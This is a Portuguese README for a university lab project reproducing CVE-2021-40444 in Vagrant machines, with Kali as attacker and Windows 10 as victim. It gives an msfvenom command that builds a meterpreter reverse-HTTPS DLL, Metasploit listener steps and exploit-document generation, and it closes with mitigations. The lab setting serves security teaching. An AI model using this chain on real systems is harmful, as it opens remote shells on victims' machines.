TIC4301_Project

Projeto TIC4301 - CVE-2021-40444

Baixe as seguintes boxes do vagrant:
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing

Importe as boxes com os seguintes comandos através do vagrant:

1. vagrant box add kali_package.box
2. vagrant box add victim_package.box
3. vagrant init kali_package.box
4. vagrant init victim_package.box
5. vagrant up

Configuração (win10):

1. Na box win10, faça login como administrador com a senha vagrant.
2. Clique com o botão direito em script.ps1 na área de trabalho e execute com o powershell. (Deixe-o aberto)
3. Execute ipconfig.exe e obtenha o endereço deste host.

Configuração (Kali):

1. cd Desktop/CVE-2021-40444.
2. gere sua dll maliciosa com o msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
3. inicie um listener no metasploit.
4. gere o documento malicioso. # python3 exploit.py generate test/calc.dll http://
5. visite http://<win 10 IP>/upload e envie o arquivo.
6. aguarde a shell.

Mitigações:

1. Instale o hotfix KB5005565.
2. Edite o registro do Windows com o patch.reg no repositório.